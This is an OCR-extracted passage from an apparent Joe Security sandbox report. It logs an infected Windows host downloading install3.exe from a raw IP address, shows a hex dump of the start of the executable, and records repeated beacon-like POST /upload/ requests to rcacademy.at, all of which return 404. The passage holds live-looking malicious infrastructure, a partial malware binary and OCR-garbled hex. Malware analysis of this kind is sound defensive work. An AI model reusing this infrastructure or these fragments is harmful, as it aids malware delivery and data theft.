185.112.83.8 80 C:\Windows\explorer.exe

Data

GET /install3.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: 185.112.83.8
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kBytes
Timestamp transferred

Dec 18, 2021 11317
18:40:46.443753958 CET

Session ID Source IP
43 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 11415

18:40:48.917496920 CET

Dec 18, 2021 11416
18:40:50.173345089 CET

Session ID Source IP

44 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49849

Direction
ouT

Source Port

49850

Direction

Data

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Last-Modified: Fri, 17 Dec 2021 07:07:38 GMT

Accept-Ranges: bytes

ETag: "8d927cc614f3d71:0"

Server: Microsoft-11S/10.0

Date: Sat, 18 Dec 2021 17:40:42 GMT

Content-Length: 94424

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 ad 31 08 81 €9 50 66 d2 €9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50
67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 €9 50 66 d2 00 0
000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 5a 9b 4f 61 00 00 00 00 00
00 00 00 e0 00 0Of 01 Ob 01 06 00 00 6a 00 00 00 da 02 00 00 08 00 00 2d 35 00 00 00 10 00 00 00 80 00 00 00 00 40 00
00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 dO 04 00 00 04 00 00 a6 2f 02 00 02 00 40
85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 86 00 00 a0 00
00 00 00 cO 04 00 48 0e 00 00 00 00 00 00 00 00 00 00 88 5¢c 01 00 50 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65
78 74 00 00 00 97 68 00 00 00 10 00 00 00 6a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72
64 61 74 61 00 00 a6 14 00 00 00 80 00 00 00 16 00 00 00 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e
64 61 74 61 00 00 00 18 b0 02 00 00 a0 00 00 00 06 00 00 00 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO
2e 6e 64 61 74 61 00 00 00 60 01 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00
c0 2e 72 73 72 63 00 00 00 48 Oe 00 00 00 cO 04 00 00 10 00 00 00 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00
00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 55 8b ec 83 ec 5¢ 83 7d Oc Of 74 2b 83 7d Oc 46 8b 45 14 75 0d 83 48 18 10 8b 0d 08 4f
43 00 89 48 04 50 ff 75 10 ff 75 Oc ff 75 08 ff 15 84 82 40 00 €9 42 01 00 00 53 56 8b 35 10 4f 43 00 8d 45 a4 57 50 ff 75
08 ff

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1PfPfPf*_9PfPgLPf*_;PfsVPf.V'PfRichPfPELZOaj-
5@/@H\P.texthj ".rdatan@@.data@.ndata ".rsrcH@ @ U\}t+}FEUHOCHPuuu@BSV50CEWPu

Destination IP Destination Port Process

110.14.121.125 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://inbyppecsg.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 124

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:49 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3¢ 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3¢ 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP Destination Port Process

187.156.124.76 80 C:\Windows\explorer.exe

Data
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Timestamp

Dec 18, 2021
18:40:50.432784081 CET

Dec 18, 2021
18:40:51.377163887 CET

Session ID

45

Timestamp

Dec 18, 2021
18:40:51.621617079 CET

Dec 18, 2021
18:40:52.578480005 CET

Session ID
46

Timestamp

Dec 18, 2021
18:40:52.800357103 CET

kBytes
transferred

11417

11434

Source IP

192.168.2.3

kBytes
transferred

11435

11439

Source IP
192.168.2.3

kBytes
transferred

11441

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49855

Direction

ouT

Source Port

49857

Direction
ouT

Data

POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://crfobye.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 261

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:50 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3¢ 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP Destination Port Process

187.156.124.76 80 C:\Windows\explorer.exe

Data

POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ixjyspfifb.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 257

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:52 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3¢ 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0/EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP Destination Port Process

186.74.208.84 80 C:\Windows\explorer.exe

Data

POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ipjkvmwf.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 119

Host: rcacademy.at
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kBytes
Timestamp transferred

Dec 18, 2021 11447
18:40:53.438889980 CET

Session ID Source IP
47 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 11448

18:40:53.821914911 CET

Dec 18, 2021 11449
18:40:54.999974012 CET

Session ID Source IP
48 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 11450

18:40:55.555999041 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49860

Direction

ouT

Source Port
49861

Direction
ouT

Data

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:53 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htmI>

Destination IP Destination Port Process

110.14.121.125 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://xbaet.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 179

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:54 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP  Destination Port Process

211.169.6.249 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://cysfuafacg.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 111

Host: rcacademy.at
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kBytes
Timestamp transferred

Dec 18, 2021 11451
18:40:56.616887093 CET

Session ID Source IP
49 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 11452

18:40:56.807245016 CET

Dec 18, 2021 11453
18:40:57.298274994 CET

Session ID Source IP
5 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 1163

18:39:53.988177061 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49862

Direction

ouT

Source Port
49747

Direction
ouT

Data

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:56 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htmI>

Destination IP Destination Port Process

176.44.122.100 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://feewrwgeg.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 251

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:57 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP  Destination Port Process

187.156.124.76 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ouisuw.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 116

Host: rcacademy.at
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kBytes
Timestamp transferred

Dec 18, 2021 1164
18:39:54.956552982 CET

Session ID Source IP
50 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 11454

18:40:57.543699026 CET

Dec 18, 2021 11455
18:40:58.534498930 CET

Session ID Source IP
51 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 11456

18:40:58.829397917 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49863

Direction

ouT

Source Port
49864

Direction
ouT

Data

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:39:54 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htmI>

Destination IP Destination Port Process

187.156.124.76 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://rxcngd.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 236

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:58 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65 3e 34 30 34 20
